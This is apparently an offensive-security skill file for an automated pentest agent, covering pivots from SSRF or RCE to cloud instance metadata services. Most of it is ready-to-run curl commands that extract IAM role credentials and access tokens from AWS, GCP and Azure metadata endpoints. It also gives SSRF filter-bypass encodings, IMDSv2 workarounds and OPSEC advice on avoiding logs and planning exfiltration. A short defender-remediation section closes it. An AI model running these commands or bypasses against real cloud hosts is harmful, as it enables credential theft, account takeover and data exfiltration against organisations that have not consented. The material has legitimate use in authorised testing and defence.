imds-pivot

name	imds-pivot
description	Pivot from SSRF or RCE to cloud Instance Metadata Service (IMDS) — extract IAM role creds, instance identity, user-data secrets.
metadata	{"subdomain":"cloud","when_to_use":"imds metadata ssrf aws gcp azure instance metadata service pivot","mitre_attack":["T1552.005","T1078.004"]}

Instance Metadata Service Pivot

When you have SSRF, server-side fetch, or RCE on a cloud-hosted instance, the metadata endpoint is the single highest-value local pivot. Each cloud has slightly different mechanics.

1. Identify the cloud provider

Header fingerprints, IP ranges, or just try in order:

Cloud	Endpoint	Auth
AWS	http://169.254.169.254/latest/meta-data/	IMDSv1: no header. IMDSv2: PUT for token
GCP	http://metadata.google.internal/computeMetadata/v1/	Header Metadata-Flavor: Google
Azure	http://169.254.169.254/metadata/instance?api-version=2021-02-01	Header Metadata: true
Alibaba	http://100.100.100.200/latest/meta-data/	None
DigitalOcean	http://169.254.169.254/metadata/v1/	None
Oracle Cloud	http://169.254.169.254/opc/v2/instance/	Header Authorization: Bearer Oracle

metadata_endpoints("aws")  → returns full URL list for AWS
metadata_endpoints("gcp")
metadata_endpoints("azure")

2. AWS — extract IAM role creds

IMDSv1 (legacy, no token required):

ROLE=$(curl -s "http://169.254.169.254/latest/meta-data/iam/security-credentials/")
curl -s "http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE" > /tmp/creds.json

IMDSv2 (requires session token):

TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \
        -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
ROLE=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
       "http://169.254.169.254/latest/meta-data/iam/security-credentials/")
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
       "http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE" > /tmp/creds.json

Output:

{
  "AccessKeyId": "ASIA...",
  "SecretAccessKey": "...",
  "Token": "...",                 ← session token (REQUIRED for ASIA keys)
  "Expiration": "2026-..."
}

Use:

export AWS_ACCESS_KEY_ID=$(jq -r .AccessKeyId /tmp/creds.json)
export AWS_SECRET_ACCESS_KEY=$(jq -r .SecretAccessKey /tmp/creds.json)
export AWS_SESSION_TOKEN=$(jq -r .Token /tmp/creds.json)
aws sts get-caller-identity
# Pivot to aws-iam-enum/SKILL.md

3. AWS — user-data (often holds secrets)

curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
  "http://169.254.169.254/latest/user-data"

User-data is the boot script. Often contains:

• AWS credentials (despite docs saying not to)
• API tokens, license keys
• Database connection strings
• Internal infrastructure URLs

4. GCP — service account tokens

H='Metadata-Flavor: Google'

# Identify
curl -s -H "$H" 'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/email'

# Get access token (Bearer)
curl -s -H "$H" 'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token' > /tmp/gcp.json
TOKEN=$(jq -r .access_token /tmp/gcp.json)

# Use it
curl -s -H "Authorization: Bearer $TOKEN" \
  'https://www.googleapis.com/compute/v1/projects/PROJ/zones/ZONE/instances'

# Project ID
curl -s -H "$H" 'http://metadata.google.internal/computeMetadata/v1/project/project-id'

# All custom metadata (often holds startup secrets)
curl -s -H "$H" 'http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true'

5. Azure — managed identity tokens

H='Metadata: true'

# Instance metadata
curl -s -H "$H" 'http://169.254.169.254/metadata/instance?api-version=2021-02-01'

# Token for resource ARM
curl -s -H "$H" 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/' > /tmp/azure.json
TOKEN=$(jq -r .access_token /tmp/azure.json)

# Use Bearer for ARM API
curl -s -H "Authorization: Bearer $TOKEN" \
  'https://management.azure.com/subscriptions?api-version=2020-01-01'

# Token for storage (specify resource)
curl -s -H "$H" 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://storage.azure.com/'

# Token for KeyVault
curl -s -H "$H" 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net'

6. SSRF through filters

When the target server filters local IPs:

Bypass	Example
Decimal IP	2852039166 for 169.254.169.254
Hex IP	0xA9FEA9FE
Mixed encoding	169.254.169.0254 (octal last octet)
Embedded creds	http://169.254.169.254:[e-mail]/ (some parsers)
DNS rebinding	Domain w/ 1s TTL flipping to 169.254.169.254 after fetch
Open redirect	If target has open redirect, chain it: target.com/redir?to=http://169.254.169.254/
Server-side URL parser bug	Various — see SSRF skill catalog

7. IMDSv2 bypass attempts (when v2 enforced)

v2 requires a PUT first. Real SSRF rarely does PUT.

• Workaround 1: find a server-side fetch that supports HTTP methods
• Workaround 2: chain SSRF → RCE → curl from the box directly
• Workaround 3: hop-by-hop header smuggling (rare, version-specific)
• Reality check: if IMDSv2 is enforced AND your SSRF is GET-only, you cannot extract creds. Document this as the boundary and pivot elsewhere.

8. Promote

kg_add_node(kind="credential", label="<role-name>:<ASIA-prefix>",
            props={"source":"imds-pivot","cloud":"aws","expires":"<ts>"})
kg_add_edge(src=<ssrf-vuln>, dst=<cred>, kind="extracts")
kg_add_edge(src=<cred>, dst=<crown_jewel:aws-account>, kind="grants-access")

OPSEC

• AWS: IMDS access is not logged in CloudTrail (kernel-local). You're invisible at the cred-grab stage.
• GCP: same — metadata.google.internal is kernel-local
• Azure: same
• But every API call you make WITH the stolen creds IS logged. Plan exfil before usage.

CVSS

• IMDS available + IMDSv1 + over-privileged role: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H = 10.0
• IMDSv2 + role w/ admin: 9.5 (slightly higher complexity)
• IMDS available, low-priv role: 5-7 depending on what role can do

Defender remediation

• AWS: enforce IMDSv2 cluster-wide via SCP

  "ec2:MetadataHttpTokens" = "required"
  

• AWS: set hop-limit to 1 (HttpPutResponseHopLimit: 1) so containers can't get the token
• Restrict IAM role to needed permissions ONLY (no iam:PassRole, no * in actions)
• Network policy on the host: block 169.254.169.254 from containers via iptables/nftables when containers don't need cloud APIs

Known exemplars

• Capital One 2019: WAF → SSRF → IMDS → cred extract → 100M PII exfil
• Multiple PortSwigger SSRF lab solutions = this exact pattern
• Pattern: any web app w/ "fetch URL" / "import from URL" feature on a cloud instance, unfiltered, IMDSv1 = guaranteed cred extract